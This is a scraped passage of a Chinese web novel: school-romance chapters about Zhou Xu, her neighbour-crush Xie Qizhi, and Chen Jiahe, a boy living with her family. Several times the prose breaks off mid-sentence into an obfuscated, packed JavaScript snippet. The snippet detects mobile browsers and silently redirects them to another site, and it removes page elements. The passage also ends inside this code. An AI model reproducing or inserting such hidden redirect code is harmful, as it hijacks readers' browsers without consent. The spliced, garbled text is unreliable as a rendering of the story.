“我叫谢祁之，你叫我小谢就好。”谢祁之自认为他不是乐于结交朋友的性格，可这户新搬来的人家就住在他家对门，做邻居做到这样的程度，那肯定也是免不了以后的来往了。 谢祁之想得很简单，既然免不了交流来往，索性一开始就和邻居打好关系。 但他却不知道，就是他这样亲切又随和的态度，给了周序错误的信号。 周序目送谢祁之消失在电梯里，随着那两扇不锈钢门的缓缓关闭，周序清晰地听到了自己快要跳出胸膛的心动声。所以她现在去化个素颜妆，抹点口红什么的还来得及吗？ “你要的，香草味儿。” 岂料回身才迈了半步，冷不丁，就撞到了迎面走来的陈嘉禾，也不知道这人杵在门口看了多久的热闹，脸上的表情怪异，说是戏谑好像又带了点沉闷。 不过今天她心情好，不屑和他计较。周序拍开横在自己眼前的包装盒：“你自己留着吃吧。” 谢祁之最起码楼上楼下跑了三趟才把那堆东西都给周序搬了上来，本来想说上一声再走，可是站在玄关的位置处却只看到一个分外陌生的面孔：“你是？” “我，应该算是刚刚那女生的弟弟吧。来根雪糕吗？家里最后一个香草味的了。”说完，陈嘉禾不管不顾地把周序不要的雪糕盒塞到了谢祁之的怀里。 盒子包装一看就很精致，口味到底如何还是其次，单冲这股高档又网红的外表就知道肯定价格不便宜。关键是这男生见他半天没有动静，居然已经上手连盒带袋地给他拆开了：“她说了，要好好谢你。” 面对这样突如其来又不容拒绝的好意，谢祁之一时片刻还真找不到拒绝的理由：“那个……我就住你们对面，有事情需要帮忙的话可以来找我。” 还真是拿人手软。本来想着也就维持一个点到为止的交情就好，可现在却又不得不说几句不怎么走心的客套话。 直到防盗门咣当一声被关上，周序才风风火火地从屋里跑了出来，可哪里还有她心心念念的人呢：“他人呢？” “东西送到了，当然就走了。”陈嘉禾径直绕过一脸崩溃的周序，头也不回地边撸袖子边朝主卧的方向走去，“叔叔阿姨，这个要往哪儿放？” 有了这样有眼色又勤劳的花蝴蝶做对照，周序一度成了个碍手碍脚的摆设，关键是在她不怎么纯熟的化妆技艺的加成下，对比就愈发地惨烈。 “序序你还是先把妆卸了吧，你看衣服上都你脸印。” 晚饭谁都没有动手下厨，一家人搬了一天，软的软，瘫的瘫，就连一开始忙着向周思邈裴佑月献殷勤的陈嘉禾都干不动了。 男生手长腿长，坐姿慵懒地往沙发上一靠，硬是有种男模在镜头前凹造型的感觉，刻意却又自然。很奇怪，这明明应该是很冲突的两种状态，却在陈嘉禾的身上找到了协调契合的点。 只是刚刚才见过细糠的周序，已经很难对除了谢祁之以外的异性感兴趣了：“喂，一会儿外卖来了你去拿，然后叫我一声。” “用不用我给你送到房间里去？” 都走出好远的周序听到这话硬生生地止住了脚步，如果不是她小人之心的话，那就是姓陈的在阴阳怪气暗暗讽刺她了？ “你！”可是真当气鼓鼓地转身，对上那双亮晶晶的瞳仁，还有陈嘉禾单薄好看的眼皮时，周序难听的话就说不出口了。 他的表情太过自然，好像真的只是随口那么一问，是普普通通的询问和提议，没有夹带任何不爽或者讽刺的情绪。 “你自己看着办！” 次日一早，穿上新学校校服的周序一脸不耐烦地丢下了和昨天晚上一模一样的话：“你自己看着办。” 司机老于已经就位，车子就停在楼下的停车场，周序只用了十分钟就完成了洗脸刷牙再到穿衣的所有步骤。 反观陈嘉禾，多年早起学习和做家务养成的生物钟让他成了周家起最早的那个人。可从起床开始，时间在他身上就好像被按下了慢放键，吃早饭用了将近二十分钟，临出门在玄关换鞋又花了五分钟。 两根鞋带好像是抹了油的游蛇，总是滑不拉几的，于是普普通通的蝴蝶结在陈嘉禾手中总是难以成型。 为数不多的耐心就这样在对方一次次的整理和毫无必要的强迫症中耗尽，周序出门的时候狠狠甩上了防盗门，那力道大到似乎连玄关处的鞋柜都在跟着震动。 陈嘉禾敛下心事重重的目光，潦草将两根鞋带系紧，站起身来。 他很想在周家站稳脚跟，所以他必须不遗余力地在叔叔阿姨面前表现出乖巧懂事，最好是一派天真，毫无野心的样子。 至于周序，无形中得罪了她并不是他的本意。她可能只是出于奶盖被送走而气愤难消的报复心，也有可能是单纯不喜欢外人来与她争夺父母的宠爱，但不论是哪种原因，她都应该是不喜甚至是讨厌他的。 可刚才，她是在等他一起去上学吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812701|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在家里抬头不见低头见的，他总要在周序面前夹着尾巴做人的同时又去讨好她，可这并不代表在周家以外的地方，他还要时不时在她面前露脸刷存在感。 他又不是混字母圈的，存心找虐受…… 况且他总觉得周家私人轿车的用途，应该不包括送他上学吧？尤其周序还是那样一个蛮横霸道惯了的人，眼里哪里能容得下他？ 他有意拖延，只想和周序还有老于拉开足够多的时间差，却不想慢条斯理地下了楼，还是看到了那辆银灰色的宝马。 后车窗是全部降下来的，周序的脸色沉得好像能拧出水来。她看到了陈嘉禾，于是翻了个白眼，把车窗全部升了上去。 但仅仅只过了几秒，后车窗又迫不及待地露出一条小缝：“转学第一天就想给老师同学们留下一个迟到不好相处的印象，怎么，水土不服的学霸打算通过耍大牌来吸引眼球？” “……谢谢。”陈嘉禾实在无力还嘴。 台阶都递到他眼跟前了，要是这会儿还不顺着下来，那等于是把周序彻底得罪了个透。其实摸着心仔细想想，他和周序之间的矛盾全是误会，本就没有必要搞得那么僵。 陈嘉禾绕到另一边上了车，还不等调整好坐姿，老于就一脚油门冲了出去：“嘉禾啊，你以后还是早点起吧，不然这要是赶上个早高峰啥的，你们可就要迟到了。” 于叔说的是“你们”，没有周序的授意，又或者说退而求其次，哪怕只是她的同意……如果不是周序点头，于叔也不会这么说。 这么看来，周序也没有她嘴上咋咋呼呼的那么不近人情。 陈嘉禾望向车窗外面人流如织的街景，并不打算多做解释：“我以后会早起的，今天麻烦于叔和姐姐等我了。” 老于当然是好说话的，驾驶座上的他应了声又去哼起了不知名的小调，只是周序…… 迟迟没等到回应的陈嘉禾抿了抿唇，正要从书包侧兜里掏出昨晚的错题本来看，就听旁边的女生慢悠悠地拆起台来：“你那是早起的问题吗？吃饭吃得快要睡着，一个鞋带要跟系出花……” 周序的目光忽然从手机上移开，看向了陈嘉禾早就刷洗得发白的鞋面。 在看到他那大小不一，造型古怪的蝴蝶结后实在没忍住，笑出声来：“居然还能是这么丑的绳结。哼，总之就你这种情况，不把拖延症和强迫症改掉，把夜熬穿都没得救！” 陈嘉禾放在膝盖上的双手不自在地蜷缩了一下，就连本来随意搁着的双脚都往更靠近座椅的方向收了一收。 “知道了……”陈嘉禾想起自己早已得变得陈旧泛白的鞋子，不禁害臊地把头偏到一边去。 今天的气温似乎有点离奇，陈嘉禾将车窗降了下来。 晨风从车窗的缝隙中争先恐后地灌进来，微凉又急速的气流很快就包裹了他的上半张脸颊，眼睛虽然有点难以睁开，但好在是缓解了那点热意。 没有多久，车子遇到了早高峰，又恰好走在一条林荫道上。金色的晨辉穿过交错繁茂的叶间，投在陈嘉禾弯起的嘴角那里刚好留下一个形状浑圆的可爱光点。 5. 白月光3 “于叔，走了。”周序头也不回地和老于摆了摆手，一下车就化身成出笼的鸟雀，迫不及待地向着学校大门口小跑过去。 从小被亲情和优渥环境宠爱滋养的人，自信是从骨子里长出来的，无论她到了什么样的环境，也无论会遇到怎样未知的人和事，都不会轻易胆怯。相反，她甚至只有对周遭一切事物的好奇与向往。 陈嘉禾的脚步慢了下来，他不动声色地观察着新同学们脸上明媚朝气的笑容，又忍不住低头看了看自己一身崭新得体的穿搭。即便看上去他和他们没有什么两样，可他知道，他是没办法像他们一样如鱼得水般享受校园生活的。 不知怎么，很紧张，比被周叔叔带回周家那天还要紧张。 “滴滴！” “于叔？您怎么还没走？”陈嘉禾以为是自己挡了路，匆匆回头打算让开的时候，这才看到了老于坐在驾驶座里正一脸疑惑的瞧着他。 于叔努力将身子往他这个方向靠了靠：“嘉禾，怎么了？是忘带啥东西了？你说，我现在给你回去拿。” “没有，谢谢于叔。我这就进去了。”陈嘉禾隔着人流朝车子里的人点了点头，转过身的同时深吸了一口气。 于叔是一个好人，他对他的照顾不仅仅是基于周叔叔的特别嘱咐，更是一个长辈对于小辈下意识生出的关切。可即便这样，陈嘉禾也不打算把任何自己内心的纠结和不安展露出来。 破窗定律还是要时时警惕的。那些自己不经意流露出的软肋，随时都会在将来成为他亲手递出去的一把刀。 保持神秘感和减少情绪上的外化，是陈嘉禾来到周家，来到桦城这座陌生城市，唯一能想到保护自己的办法。 就这样，神秘兮兮的陈嘉禾在班级里主动成了小透明。 班主任张素华有些尴尬地站在一边：“看来陈同学性格比较内向不爱说话啊，回座位去吧。以后学习上有任何不懂的地方，都可以主动和同学们交流一下。” 陈嘉禾很给面子地点了一下头，然后在全班同学那或明显或隐蔽的打量下，走到了教室后排空着的位置坐下。 如果换成是别人，内向话少，同学们对于他的好奇也就到此为止了。可偏偏陈嘉禾顶着一张校草级的脸蛋，打铃好久之后几乎都有人在不住地回头张望。 “诶？班长今天怎么还没来？” 坐在第一排眼尖的谭淼淼用胳膊肘杵了杵自己同桌，平常她的目光恨不得黏到谢祁之的身上，可今天来了一个新帅哥后，她居然拖到现在才发现了男神不在。 同桌唐璐耸耸肩：“也许是请了病假吧，老师没和大家说而已。” 那样一个品学兼优的好学生，自从入学以来，每天都雷打不动的第一个到教室。唐璐想不到，除了事假病假，还能有什么原因致使谢祁之迟到。 事实上，不仅是唐璐，班上其他学生也是这样认为的。 “报告，老师，我路上出了点儿事。”谢祁之顶着一头湿漉漉的深褐色头发，最终还是赶在早读结束前出现在了班级门口。 他的校服袖口开了线，白色的衣服上零星攀爬着几滴碍眼的脏污。至于露在空气中的小臂，硬是出现了将近一拃长的血道子。 张素华看得直拧眉头，快步走到了谢祁之的身边：“怎么了这是？” “路上出了……车祸，我不小心和人撞了。”准确的说，是他昨天复习得太晚，一路上还在想最后那道压轴大题该怎么解，这才撞了人。 所有的责任，都在他。只是谢祁之说不出口，只能挑挑拣拣，隐去一些信息，草草敷衍过去算了。 “没事吧？”张素华打量着谢祁之的表情，抬头纹都更重了，“要是难受就请假，老师送你回家。” “没事，张老师，您放心吧。我还能来就是没问题，不然早跟您打电话说明情况了。” 这一段插曲的出现立马盖过了同学们对于转学生陈嘉禾的好奇。 下课后，谢祁之的桌边围了里三层外三层的人，陈嘉禾想绕道走出去都费劲：“借过。” “啧，你就从最边上绕一下不就行了？”一个白白胖胖的男生回头瞅了陈嘉禾一眼，语气尽管嫌弃，却也收了收肚子动了动脚，给陈嘉禾让出了一条路来。 身后的热火朝天和陈嘉禾无关，他早上为了拖延时间一直在小口吃饭，根本没吃多少东西，现在一节早自习过去，胃里总感觉空落落的。 教学楼里的走廊这会儿正是一天中最朝气蓬勃的时候。年轻的面孔们个个洋溢着灿烂笑容，擦肩过去的，相对过来的，每个都很陌生却又美好。 直到，迎面走来了一群叽叽喳喳聊得正欢的女生。 她们中间的女孩儿，是周序。 陈嘉禾从来没有像现在这样如此直白地意识到，原来周序的长相和身材是这样的优越显眼。 甚至不仅仅是外表和站位的缘故，还有她这个人身上散发出的那种自信和亲和的气场。这样的周序，即便是淹没在一群人中，都可以让人一眼精准定位。 陈嘉禾嗫嚅了一下唇瓣，早早下定的某种决心在这一刻悄然背叛出走：“周……” 女孩子们笑着走远了，期间当然少不了春心萌动的偷窥，可唯独只有周序，目不斜视。 陈嘉禾看着那道俏生生的身影走远，被梳得高高的马尾辫在空中一晃一晃，愣了好半天神。 周序是想装不认识他。也是，换位思考一下，他如果是她，也不想在学校里横生枝节。彼此都拿对方当个陌生人，才是最省事的。 新学校的日子也总归是平静无波的，陈嘉禾和以前一样，总是往书里一埋就是个苦学。周围同学看他这么一副不好接近的样子，无论男女，大部分自然也就知难而退了。 除了一个叫李落寒的体育生。 他看中了陈嘉禾优越的身材，软磨硬泡终于给自己找来了一个打球搭子：“这就对了，你这体格不锻炼锻炼太可惜了。” 陈嘉禾倒没想那么多，死学不是个事，他也的确需要通过运动来调剂一下。况且人都是社会性动物，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812702|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能一直做个独行侠。 砸在篮板上被弹开的篮球咚咚跳了几下，然后失去力气在地面上滚动了一段距离，最终被人踩在脚下。 “同学，帮忙踢过来呗。”李落寒扶着膝盖，然后又远远地朝着周序拍了几下手示意。 不同于李落寒的落落大方，陈嘉禾在看到周序时眼皮就突兀地跳了一下。她这幅找人算账的表情，看起来可不像是会乖乖听话的，可还没等他想通到底是谁惹了她不高兴，就见她飞起一脚。 这一脚力气不小，篮球硬是被踹得在空中扬起一条生硬的弧线。 眼见着飞起的篮球离得越来越近，陈嘉禾偏头想躲，可周序这一脚还是有点准头的，头是躲开了，半边肩膀却不能幸免于难。 “嘶……” “嘿，你这人！是不是有病？” 李落寒想替人打抱不平，可周序的语速比他更快：“陈嘉禾你给我过来！” 班上一向沉默寡言，谁也叫不动的陈嘉禾没有生气，居然一点犹豫都没有的，一叫就转身跟着走了？ 啊，原来人家两个认识吗？而且看上去还很熟啊。李落寒摸了摸鼻头，多少觉得刚才自己很是多余了。 “有事吗？”走到操场边缘的一株香樟树下，陈嘉禾最先沉不住气。 “谢祁之是你的同班同学，你为什么不说！” “你也没问。” “你！”周序被气得差点一口气没倒腾上来，可偏偏人家条理清晰，就这冷静从容的四个字就让她变成了无理取闹的泼妇，“你搞搞清楚，你现在住的是我家！” 少年身上本就为数不多的尖刺彻底收敛了起来：“……是我态度有问题。所以，姐姐想做什么？” “把他微信给我。或者，把我微信推给他。” 转到新学校的第三天，她就从新交的小姐妹嘴里听到了这位学霸的传奇事迹。只是打听了一圈，周围人没一个有谢祁之的联系方式。 她只是知道，谢祁之是年级第一，在实验一班，和他们国际班连授课方式以及学习规划都不一样。 “抱歉，我和他不熟。”说这话时，陈嘉禾的眼眸里没什么波澜。 他并没有在说谎。整个班级里，除了乐观开朗的李落寒，他没有和任何人交换过联系方式。 “要你有什么用！”周序急到口无遮拦，冷冷哼了一声，“打你的球去吧。” 大小姐很少碰壁，唯独在谢祁之这个人身上总是不得其法。 自从那天在小区楼下见面，对方热心帮忙之后，她就再没见过谢祁之。在注意到陈嘉禾和他同班时，周序第一反应就是找陈嘉禾牵线搭桥，然而现实却又给她浇了一盆凉水。 是啊，陈嘉禾这样出身贫寒又一心扑在学习上的书呆子，怎么可能在短时间内就和那样的人物有所交集呢。 说到底，还是她太心急了。 周序闷闷转身，一言不发地踩着地砖拼接处的缝隙打算溜达回教学楼里。 “谢祁之是我们邻居。” 6. 朱砂痣3 周序踮着脚趴在猫眼上，就这样维持着这个怪异的姿势，好半天一动不动。 “你这孩子，再不上学要迟到了，一直在这儿干什么呢？”裴佑月整理好出门要带的一切物品，上手把周序扒拉到了一边，“也得亏你爸早上走得早，不然被他看见了，你肯定又要被叨叨个没完。” “哎呀马上马上！我保证，绝对不可能迟到。”周序满脸堆笑地把妈妈送出家门，然后再次把自己整个人贴到了门上。 裴佑月没走远，她的自言自语还响在楼道里：“但凡和嘉禾一起走，我也不用操这个心……” 我的妈呀！我求您可别再说了！万一就这么凑巧，被谢祁之听到了可怎么办啊？ 活了十五年的周序非常明白老天开玩笑的规律，正所谓“你越怕什么，越来什么”就是这个道理。 不过好在，上天今天似乎格外眷顾她一点。 裴佑月出门应该才过去了三四分钟，对面人家的防盗门就打开了，一个身形高挑的少年单肩背着书包走了出来。 周序火速按下门把手，火急火燎地冲了出去。 谢祁之的视角余光里，一个披头散发，像头小狮子一样毛发飞扬的娇小身影没头没脑地冲了出来。要不是他躲得及时，人就要一头撞他身上了。 他笑了一笑，主动和人打起招呼：“我们，居然还是同一个学校的，好巧啊……” “诶？是你啊！真的好巧，原来我们还是门对门的邻居呢！”这能不巧吗？这可是她精心设计的偶遇！ 不过有一点，谢祁之和她倒是说得都没错。同个学校，还又是对门邻居，这一切都是命运的安排！ 这点心内的窃喜周序可没表现出来。高级的猎手，可不会太上赶着的。想要博得男神的注意，必须采用非常规的法子！ “哎呀，我先不跟你说了，我打的车被取消订单了！”周序急得在手机上狂点了几下，一时间又是叹气又是跺脚。 这刚刚才还神采奕奕的小狮子这会儿却又皱起了她好看秀气的眉头，似乎对于司机来不了的事情很是在意？见状，谢祁之不禁抬起手腕上的表盘看了一眼时间。 六点半，是有点晚了。他今天也是忙着照顾生病的姥姥才刻意晚走了一会儿。 但距离早自习还有半个小时，抓紧一点，就是只靠着自己的两条腿去跑也能跑到。谢祁之并未多说什么：“先坐电梯吧，趁这段时间，你再叫车也来得及。” “……好。”这怎么，和她想象的有点不太一样？ 在这几天的刻意蹲守里，周序见过谢祁之骑单车时那朝气明朗的样子，风儿鼓起他宽松的校服上衣时，他整个人都像是飞起来一样。他的后座，一定是很多女孩子梦寐以求的位置。 她倒是没指望一击即中。但是这么直男式的回答，周序也是不禁为谢祁之抹了一把冷汗。 “那我先走了？”到了单元楼下，周序先行指了指靠近马路的方向，“外面大路上比较好打车，实在不行我直接招手就行。” 第一次接触，一定不要那么急地暴露自己的目的，一切都要循序渐进。这是周序一早给自己做的心理暗示。 至于现实嘛，倒也的确配得上现实二字，那可真是一点惊喜都不给她。 只见谢祁之扶着车把，长腿一迈，直接就跨坐在了车座上：“还有三十分钟左右，不急，你慢慢来。” 得嘞，还真是一个大大的好人，光会嘴上关心呢。周序和人礼貌地挥手道别，在转过身的时候实在没忍住撇了撇嘴。 要不是冲着他那张脸去的，她现在真的是有亿点想锤亖谢祁之！不过往好处想想，也正因为他是这样一个直男性格，才没有让其他也抱有同样心思的女孩子给捷足先登啊。 周序很快哄好自己，在小区门口的便利店里买了个咸蛋黄肉松饭团，在亲眼看到谢祁之骑着车子从街角过去后，她才拨通了老于的电话：“于叔，你现在可以来接我了，就是我们昨天说好的那个便利店门口。” 于叔并不知道自家小姐整的是哪一出，这一大清早光是从周家到学校就要跑三个来回：“小姐，你和嘉禾吵架了？” 路上，老于一边等红绿灯一边从车内的后视镜里偷偷观察着周序的表情。如果不是他现在能确定一定以及肯定，周序心情相当不错，他也不会多嘴问这么一句。 “怎么可能！我和他的关系，还用吵架吗？” 言下之意就是，她连句多余的废话都懒得搭理陈嘉禾。 陈嘉禾来到周家也有段日子了，周序对他是什么态度，老于不能说自己已经摸得一清二楚，但心里多少是有点数的。 之所以还愿意让自家的车每天车接车送，那也只是小姐给周总面子，外加她本人其实就是一个嘴硬心软的主儿。至于更多的，可就什么都没有了。 想到这里，老于讪讪地闭了嘴，专心致志地做起了一个哑巴司机。 周序不紧不慢地踩着铃声到了教室，几乎是她刚在座位上坐下，紧接着班主任就跟了进来。 “同学们，我宣布一件事情，学校决定本周末举办一次研学活动，有想参加的同学周五放学之前到班长那里报名即可。” 非强制啊，那就没必要去了。周序连眼皮都没抬，低着头拉开书包拉链，把昨晚睡前码得整整齐齐的课本和习题册开始一本本往外掏。 像这样的社会实践活动，多半不是整个年级都能一起去的，是针对国际班学生的课程安排和特殊福利。 一年有个两三次，班上的学生们早就习以为常了。 只是每回都少不了那些很好奇又话多的同学，张淼就举手示意，站了起来：“老师，是只有我们国际班的同学们去吗？去哪里啊，市内还是邻市？” “全年级只要有意愿的同学都可以去。具体地点，我下课后会把研学行程和报名表交给班长，你们想去的学生私下讨论吧。”虽说是国际班，班上大多学生都是奔着将来出国的目的，但讲课该把握的时间可是一点都不能耽误。 班主任没让这个容易转移精力的话题继续发酵，立马组织起了学习委员带头朗读文言文。 除了最终考试的方式不一样，在桦城一中，授课形式和内容上几乎没有什么区别。 甚至因为班上同学的心更容易发散，班主任面临的压力比其他班都要更重一些。好在毕竟是即将成人的高中生了，大家分得清轻重缓急，课堂上也没人再纠结这个事情。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812703|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只是课后，班长和她同桌的座位附近算是彻底沦陷。 “爸妈，我想去。”周四晚上，一家人正坐在餐桌上边吃饭边听周思邈说着公司里的事情，周序见缝插针地把那张行程表掏出来拍在了桌子上，“就在本市，报名费只用三百。” “嗯，想去就去吧。”周思邈只随意往那张花花绿绿的纸上瞥了一眼就同意了，“家里现在是遇到点困难，但不至于苦了孩子，这点钱爸爸还是掏得出来的。” “嘉禾呢？”周思邈话音落下的同时，裴佑月就给陈嘉禾碗里夹了一筷子芋泥香酥鸭，“你想去吗？” 陈嘉禾的眉头微不可察地皱了一下。 不同于叔叔阿姨担心他们上了一天的学营养缺失，他晚上实在没胃口吃这大鱼大肉，但又碍于这是裴阿姨的好心，陈嘉禾还是很给面子地咬了一口。 “我就不去了，谢谢阿姨。”外酥里嫩的浓香在口腔里爆开，明明是刺激味蕾的咸甜永动机，可陈嘉禾却食不知味，“这边的进度和我原先的学校很不一样，我想把落下的课程补起来。” “也好，不想去就不去了。”周思邈在这一点上并没有裴佑月那样的细腻心思，听谁的都觉得有道理，“你也不用着急，基础在，随便学一学不就追上来了嘛，哈哈哈。” 周序托着腮，歪头看着爸爸露出的像极了反派的笑容，不得不说，自家公司效益不景气绝对也和周思邈盲目自信有脱不开的关系。 照理来说，陈嘉禾去还是不去和她没有一点关系。可她去老师办公室的时候都偷看好了，谢祁之的名字也在报名表里。 有个同班的男生做掩护，总归是比她单打独斗要强一些的。 “咳咳……真正的大学霸就是现在开始躺平不学，也能在后面的考试里独占鳌头吧。”周序放下了筷子，饶有趣味地盯着陈嘉禾抿直的唇线，“你是不是害怕花钱啊？三百而已嘛，不用我爸妈出，我把我小金库里的钱拿出来给你用不就好了？” 裴佑月脸色巨变，在桌子底下踢了踢自家闺女。 哪成想这傻孩子真是傻到家了，直愣愣地看着她，甚至还理直气壮地反问：“你踹我干嘛！” “我，我哪有……你这孩子，真是多心。” “妈妈！我知道你怎么想的，觉得我伤他自尊了是不是？” 这一下子搞得周序吃饭也没心情了，索性，她往椅子靠背上一靠：“可这是事实啊，不是躲着掖着不说就能改变了的。况且我们全家没一个人因为这些事情看不起他。” “陈嘉禾，你如果真的因为我刚才那话感觉受伤了，那我向你道歉。不过说实话，我个人觉得很没必要。” 周序不明白，她是有私心没错，可从头到尾她都没有要故意为难打压陈嘉禾。一个两个的，都这么敏感，这不能说那不能说，不知道越描越黑，欲盖弥彰吗？ 合着他们都是好人，就她一个恶毒反派呗！ 气鼓鼓的周序呲啦一声站了起来，留下一句吃饱了就甩着马尾辫往自己的卧室里走。 绕到陈嘉禾的身后时，一只骨节分明的手伸过来攥住了她纤细的小臂，温热柔软的掌心一触即分。 “姐姐的意思我明白，我去。” 7. 白月光4 寄人篱下的确不得不低头。 这几天以来，是个明眼人都能感觉到，陈嘉禾这个人身上的傲骨和倔强已经淡化了许多。 周序没有把餐桌上的这一段插曲放在心上。最起码在她看来，陈嘉禾点头答应，并且是对方自愿，她可没有给予任何的威逼利诱，这就已经足够了。 周序将草稿纸上最后一道大题的步骤誊到了卷子上，边理思路边往下解题，只是明明想通的地方，一到真正动笔的时候却还是阻碍重重。 “笃笃”的敲门声将周序如麻一般混乱的思绪彻底搅散：“我可以进来吗？” 陈嘉禾来得可太不是时候了，周序没什么好气地将笔一扔：“进！” 小公主的脸上是藏不住情绪的，开心时眉眼弯弯，而不爽的时候就会像现在这样，冷得跟多年没有除过霜的冰箱似的，只是靠近几步，就会被这冻人的冷气逼得汗毛直立。 陈嘉禾目不斜视地走过桌前的化妆镜，镜子里印入他流畅完美的侧颜。 “今天，裴阿姨因为我的事情和你生气，我……” “和你没关系。”周序将糟心的书本往里一推，也不看人，径直摔在了自己的大床上，“……好像也不能这么说，还是和你有关系的，毕竟你是饭桌上话题的中心。说说吧，找我有事？” “为什么？” 周序盯着天花板，飞快眨了几下眼睛：“什么为什么？” 她觉得自己刚才那话很利落干脆，没想到陈嘉禾比她还要夸张，以至于她甚至不懂他指的是什么。 “为什么主动提议，要我去参加这次的研学？” —— “看什么？”李落寒从自动贩卖机里拿回来两瓶冰水，把其中一瓶递给了陈嘉禾。 “看看志愿活动怎么做。” 李落寒顺着陈嘉禾的视线瞥去，就见他们班班长正弯着腰，和一个身高才到他大腿的小男孩说着什么。 “害！你啊，就别想了，在亲和力这块，谢祁之是那个，而你我啊，是这个！”李落寒还配上了肢体动作，一个竖起的大拇指都能被他玩出花来。 的确，谢祁之身上好像有种远超普通人的魅力，小孩子喜欢他，老年人觉得他靠谱稳重，周序把他视作男神。 以至于，他的身边总是围着那么多的人。 “好了，去试试吧。” 谢祁之摸了摸男孩子还有些扎手的一头短毛，和对方父母叮嘱了一些注意事项。 再一回头，就对上了周序那双过分明亮的眼睛，他刻意紧绷的标准笑容也难得有了片刻的松懈：“好巧，没想到你也会来，这次活动全年级好像才三十多个学生参加。” “所以……同学，介意告诉我你的名字吗？”他对小狮子的印象其实还算深刻，只是并没有进一步认识的想法。不过此一时彼一时，像现在这样一而再再而三地碰面说话，连人家的名字都不过问就太不合适了。 谢祁之的素质不允许他做这样一个没有情商的人。 “我叫周序，序列的序。”周序紧张到手心都出了汗，她将背在身后的双手在衣服下摆上蹭了蹭，这才伸了出来。 “哦……你好……”谢祁之被赶鸭子上架，轻轻握住了周序纤细柔软的指尖，“我是……” “谢祁之！我知道你的，你在学校很有名气！” 这个头发浓密，像头小狮子一样精神焕发的女孩子，在说起他名字时双眼发光，似乎连脸上细小的绒毛都洋溢着澎湃的喜悦。很奇怪，类似于这样的迷妹行为，他身边其实出现了太多太多例。 可和周序接触的指腹却有一瞬的发麻，像是被静电电了一下，谢祁之慌忙把手缩了回去：“我们，我们这就算正式认识了，你一会儿要是想休息，需要换班的话，尽管和我说就好。” “好啊，我不会客气的。”周序和人摆了摆手，转身一溜烟小跑，头也不回地蹿到了自己负责的区域。 桦城一中这次的研学活动是来市科技馆做志愿者，报名人数有限，以至于每个区域最多只能安排一到两名学生。 想要休息或者随便去逛逛，就需要找到同学顶上。不过毕竟是学校牵头举办的以社会实践为主要目的的研学，所以就算轮空了也不会有任何问题。 反正周序思前想后，只能想到会错失校内宣传和老师嘉奖这两个后果。 [陈嘉禾，我渴了，你给我带瓶水过来。] 脸上的热意迟迟降不了温，甚至只是隔着远远的距离往谢祁之那边瞄上一眼，都会让周序的心跳失控。 这可是谢祁之主动开口给他们两个人的相处制造机会的，那就算是装也要装得兢兢业业一点。再然后嘛，当然是撑不下去了，只好请求谢祁之帮帮忙喽。 周序就这样抱着手机痴痴笑了起来，就连陈嘉禾什么时候向她走来，她都一点没能发觉。 “啊！”脖颈处被什么弧状的东西一冰，周序立马偏头往旁边躲去，声音都没能控制住变得有点尖，“你干什么？” 陈嘉禾垂下眼帘，也不多做解释，只默默地给人把瓶盖拧开：“全新的，我没喝过。” 这周序倒是发现了，她刚刚听到了密封环和瓶口分离的声音。 虽说这陈嘉禾毛手毛脚的把自己吓了一跳吧，但一码归一码，她可不是个爱占便宜的人。周序点进转账界面：“嗯，多钱我转你。” “不用了。”陈嘉禾的目光在周序绯红的脸颊上仅仅停留了一瞬，又不着痕迹地移开，“多降降温，别中暑了。” 哈？ 等陈嘉禾走出老远，周序才用手背碰了碰自己温度依然很高的脸蛋。哦，难怪呢，只有钢铁直男，才会把小女生的暧昧心思当成是脸热中暑的症状。 后来的时间里，周序一直在等着合适的时机。 早在谢祁之主动提出可以找他帮忙的时候，她就已经想出了一个完美的计划，可她忘了，长成谢祁之那样，本身就是屎壳郎眼里闪闪发光的粪球球。 哦，当然，这形容很糙了。 可话糙理不糙啊，还没等她自然而然地靠近对方呢，就有别的屎壳郎主动出击了！ 周序气得要死，在科技馆的食堂里吃自助时都没了胃口。 “你减肥啊？吃这么少！”同班同学赵南晴把一双圆滚滚的眼睛瞪得更大更圆，看看周序的餐盘，再看看自己的餐盘……以及明显凸起一块的小肚子，顿觉十分罪恶。 人家周序同学人长得已经那么美，身材那么苗条了，都在控制饮食，她怎么好意思啊，尤其是还在她们两个人是挨着对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 